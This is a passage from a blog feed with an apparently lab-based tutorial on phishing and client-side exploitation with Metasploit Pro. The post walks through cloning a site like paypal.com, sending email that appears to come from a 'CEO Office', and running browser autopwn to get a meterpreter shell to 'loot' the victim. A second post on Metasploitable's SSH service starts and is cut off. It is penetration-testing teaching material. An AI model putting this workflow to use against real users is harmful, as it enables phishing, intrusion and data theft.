href="http://4.bp.blogspot.com/-Zi0eJ3lCGoU/TsIiwA44RMI/AAAAAAAAAuQ/y4Y0fr5pdTY/s1600/metasploit-client-demo-5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="306" src="http://4.bp.blogspot.com/-Zi0eJ3lCGoU/TsIiwA44RMI/AAAAAAAAAuQ/y4Y0fr5pdTY/s640/metasploit-client-demo-5.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Next, we need to build configuration for web campaign. Here we have 2 sections:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Web Template Settings: Either clone an existing website, for example, paypal.com; OR specify your own HTML template&lt;/span&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Exploit Settings: This is where you will define what happens when target user accesses the malicious web url. You can chose to not run any exploits, chose a specific exploit, or start browser autopwn. In this demo, AutoPwn is run as soon as end user clicks the web server url.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Autopwn tries out all exploits based on the browser that accesses the URL.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-4aHAlOuDZAs/TsIixCsLf7I/AAAAAAAAAuY/WRrbExyN0WE/s1600/metasploit-client-demo-6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="354" src="http://2.bp.blogspot.com/-4aHAlOuDZAs/TsIixCsLf7I/AAAAAAAAAuY/WRrbExyN0WE/s640/metasploit-client-demo-6.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Next, we configure Email Template Settings for our email campaign. Here we have an option to send malicious exploit / payload as attachment.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-WFMegP5kWzY/TsIiyUjxvSI/AAAAAAAAAug/L7mnhgYNB8k/s1600/metasploit-client-demo-9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="348" src="http://2.bp.blogspot.com/-WFMegP5kWzY/TsIiyUjxvSI/AAAAAAAAAug/L7mnhgYNB8k/s640/metasploit-client-demo-9.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;On the next screen, I enter my email address. Here's the place where you will enter the target user email addresses.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-jc_ydU7kpyY/TsIizNfRkOI/AAAAAAAAAuo/bU8ZkgCgou8/s1600/metasploit-client-demo-10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="242" src="http://2.bp.blogspot.com/-jc_ydU7kpyY/TsIizNfRkOI/AAAAAAAAAuo/bU8ZkgCgou8/s640/metasploit-client-demo-10.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Save &amp;amp; you will reach the summary screen. Here it shows you Campaign configuration(s).&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Note that I have already run this campaign earlier in testing so you see 'Sent 1 email'. So you can ignore it for now.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-T9X_IKxqa2Y/TsIi0xU1suI/AAAAAAAAAuw/slQAIe6EUIU/s1600/metasploit-client-demo-11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="260" src="http://3.bp.blogspot.com/-T9X_IKxqa2Y/TsIi0xU1suI/AAAAAAAAAuw/slQAIe6EUIU/s640/metasploit-client-demo-11.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Click on Run Campaign to start the campaign.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-pukKvHJqmJk/TsIi2UsH-JI/AAAAAAAAAu4/Hjcdq0Py_fA/s1600/metasploit-client-demo-12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="266" src="http://3.bp.blogspot.com/-pukKvHJqmJk/TsIi2UsH-JI/AAAAAAAAAu4/Hjcdq0Py_fA/s640/metasploit-client-demo-12.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Here is the view from victim's email screen. So, the message appears to come from CEO Office, &amp;amp; has a link in it.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Ib0PTx9Ra4k/TsIi25SjBiI/AAAAAAAAAvA/CzWSogDPJGw/s1600/metasploit-client-demo-13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="172" src="http://4.bp.blogspot.com/-Ib0PTx9Ra4k/TsIi25SjBiI/AAAAAAAAAvA/CzWSogDPJGw/s640/metasploit-client-demo-13.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Before I click on the link, let's look at the campaign task log. Here we see that metasploit has started various listeners as part of browser autopwn run.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-mdHAchgp-wM/TsIi6F7ovdI/AAAAAAAAAvI/hCfaRhvxArM/s1600/metasploit-client-demo-15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="286" src="http://1.bp.blogspot.com/-mdHAchgp-wM/TsIi6F7ovdI/AAAAAAAAAvI/hCfaRhvxArM/s640/metasploit-client-demo-15.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;As soon as I click the link, you see metasploit identifies the browser &amp;amp; OS from where the click happened.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-2Cq7NCWonU4/TsIi757UszI/AAAAAAAAAvQ/ij927Hl8g60/s1600/metasploit-client-demo-16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="240" src="http://2.bp.blogspot.com/-2Cq7NCWonU4/TsIi757UszI/AAAAAAAAAvQ/ij927Hl8g60/s640/metasploit-client-demo-16.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Browser Autopwn does it job in the background and pwns the box via ms03-020 vulnerability.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;w00t we get a remote meterpreter shell.!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-A4IOBWc7-fs/TsIi9SG7HfI/AAAAAAAAAvY/2jYvKjGYnW8/s1600/metasploit-client-demo-18.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="278" src="http://4.bp.blogspot.com/-A4IOBWc7-fs/TsIi9SG7HfI/AAAAAAAAAvY/2jYvKjGYnW8/s640/metasploit-client-demo-18.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;View the session details in Sessions menu.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-zm9faaGPPAc/TsIi-cdR9sI/AAAAAAAAAvg/bchStQEjfoU/s1600/metasploit-client-demo-19-session-start.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="232" src="http://3.bp.blogspot.com/-zm9faaGPPAc/TsIi-cdR9sI/AAAAAAAAAvg/bchStQEjfoU/s640/metasploit-client-demo-19-session-start.png" style="cursor: move;" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;loot &amp;amp; play with the pwn'd box by accessing the session.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; margin-left: 1em; margin-right: 1em;"&gt;&lt;a href="http://2.bp.blogspot.com/-03bhw32FEdA/TsIjAYFNPdI/AAAAAAAAAvo/QN8fptwSlfE/s1600/metasploit-client-demo-20-session-shell.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="350" src="http://2.bp.blogspot.com/-03bhw32FEdA/TsIjAYFNPdI/AAAAAAAAAvo/QN8fptwSlfE/s640/metasploit-client-demo-20-session-shell.png" style="cursor: move;" width="640" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-5948001268802546278?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/5948001268802546278/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/11/client-side-hacking-using-metasploit_15.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/5948001268802546278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/5948001268802546278'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/11/client-side-hacking-using-metasploit_15.html' title='Client-side exploitation using Metasploit Pro v4'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-bbAmK7jbnX8/TsIirENnKKI/AAAAAAAAAtw/V52OxWVwBxM/s72-c/metasploit-client-demo-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-7014222014739417123</id><published>2011-08-27T07:48:00.000+05:30</published><updated>2011-08-27T07:48:08.360+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploitable'/><category scheme='http://www.blogger.com/atom/ns#' term='Penetration Testing'/><category scheme='http://www.blogger.com/atom/ns#' term='SSH'/><category scheme='http://www.blogger.com/atom/ns#' term='openssl'/><title type='text'>Metasploitable - Exploring SSH service</title><content type='html'>&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="color: blue; font-family: Verdana, sans-serif;"&gt;Call trans opt: received. 2-19-98 13:24:18 REC:Loc&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="color: blue; font-family: Verdana, sans-serif;"&gt;Trace program: running&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="color: red; font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;wake up, Neo...&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;the matrix has you&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;follow the white rabbit.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;knock, knock, Neo.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (`. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ,-,&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ` `. &amp;nbsp; &amp;nbsp;,;' /&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;`. &amp;nbsp;,'/ .'&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; `. X /.'&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .-;--''--.._` ` (&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .' &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/ &amp;nbsp; `&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;, &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ` ' &amp;nbsp; Q '&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;, &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; , &amp;nbsp; `._ &amp;nbsp; &amp;nbsp;\&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ,.| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ' &amp;nbsp; &amp;nbsp; `-.;_'&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; : &amp;nbsp;. ` &amp;nbsp;; &amp;nbsp; &amp;nbsp;` &amp;nbsp;` --,.._;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;' ` &amp;nbsp; &amp;nbsp;, &amp;nbsp; ) &amp;nbsp; .'&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; `._ , &amp;nbsp;' &amp;nbsp; /_&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; ,''-,;' ``-&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ``-..__``--`&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: cyan; font-family: Verdana, sans-serif;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;=[ metasploit v4.0.1-dev [core:4.0 api:1.0]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: cyan; font-family: Verdana, sans-serif;"&gt;+ -- --=[ 728 exploits - 372 auxiliary - 80 post&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: cyan; font-family: Verdana, sans-serif;"&gt;+ -- --=[ 227 payloads - 27 encoders - 8 nops&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: cyan; font-family: Verdana, sans-serif;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;=[ svn r13643 updated today (2011.08.26)&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, 